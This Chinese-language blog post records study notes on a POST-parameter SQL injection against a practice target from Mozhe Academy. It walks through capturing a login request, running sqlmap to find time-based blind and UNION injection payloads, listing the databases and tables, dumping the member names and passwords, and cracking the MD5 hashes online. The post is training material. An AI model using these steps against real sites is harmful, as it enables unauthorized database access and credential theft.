sqlmap学习笔记——sql注入post注入

女爷i 2023-06-13 09:58 16阅读 0赞

## sqlmap学习笔记——sql注入post注入 ##

### 工作环境：kali-Linux、win10 ###

### 靶机：墨子学院提供的用于post漏洞SQL注入的靶机 ###

### 使用到的软件：wireshark、sqlmap ###

在靶机网站，先随便提交一个表单，然后在windows下用wireshark捕捉了post请求的内容，post请求内容如下：

POST /login.php HTTP/1.1
    Host: 219.153.49.228:47263
    Connection: keep-alive
    Content-Length: 25
    Cache-Control: max-age=0
    Origin: http://219.153.49.228:47263
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
    Referer: http://219.153.49.228:47263/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    
    name=admin&password=adminHTTP/1.1 200 OK
    Server: nginx/1.10.3 (Ubuntu)
    Date: Sat, 16 Nov 2019 05:32:40 GMT
    Content-Type: text/html;Charset=utf-8;charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
    
    ...<script>alert(".....................");window.history.back();</script>

将post请求到的所有的内容全部写入kali-linux的一个文本`server_post.txt`

在kali里面运行

sqlmap -r server_post.txt

然后等待扫描结果

sqlmap identified the following injection point(s) with a total of 133 HTTP(s) requests:
    ---
    Parameter: name (POST)
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: name=admin' AND (SELECT 3126 FROM (SELECT(SLEEP(5)))WwGL) AND 'aQhE'='aQhE&password=adminHTTP/1.1 200 OK
    Server: nginx/1.10.3 (Ubuntu)
    Date: Fri, 15 Nov 2019 10:31:39 GMT
    Content-Type: text/html;Charset=utf-8;charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
    
    ...<script>alert(".....................");window.history.back();</script>
    
        Type: UNION query
        Title: Generic UNION query (NULL) - 4 columns
        Payload: name=admin' UNION ALL SELECT CONCAT(0x716a6b6a71,0x4c736970564156577a4c4849615157696e55464368624d6b48506a6f497056586e6c74486c6a5250,0x71706b7671),62,62-- zeSV&password=adminHTTP/1.1 200 OK
    Server: nginx/1.10.3 (Ubuntu)
    Date: Fri, 15 Nov 2019 10:31:39 GMT
    Content-Type: text/html;Charset=utf-8;charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    Content-Encoding: gzip
    
    ...<script>alert(".....................");window.history.back();</script>

然后查看所有数据库

sqlmap -r server_post.txt --dbs

内容如下

available databases [5]:
    [*] information_schema
    [*] mozhe_Discuz_StormGroup
    [*] mysql
    [*] performance_schema
    [*] sys

查看当前数据库

sqlmap -r server_post.txt --current-db

内容如下

[19:02:32] [INFO] fetching current database
    current database: 'mozhe_Discuz_StormGroup'

查看数据库里面的表

sqlmap -r server_post.txt -D mozhe_Discuz_StormGroup --tables

内容如下

[19:04:07] [INFO] fetching tables for database: 'mozhe_Discuz_StormGroup'
    [19:04:07] [INFO] used SQL query returns 2 entries
    [19:04:07] [INFO] resumed: 'StormGroup_member'
    [19:04:07] [INFO] resumed: 'notice'
    Database: mozhe_Discuz_StormGroup
    [2 tables]
    +-------------------+
    | StormGroup_member |
    | notice            |
    +-------------------+

查看表的字段

sqlmap -r server_post.txt -D mozhe_Discuz_StormGroup -T StormGroup_member --columns

内容如下

查看用户名跟密码

sqlmap -r server_post.txt -D mozhe_Discuz_StormGroup -T StormGroup_member -C "name,password" --dump

内容如下

最后密码拿去md5在线解密网站即可  
https://www.cmd5.com/

## 参考链接： ##

浅谈sql注入的post注入

https://bbs.ichunqiu.com/thread-7762-1-1.html?from=bky

sql注入使用教程

https://blog.csdn.net/qq1124794084/article/details/77851094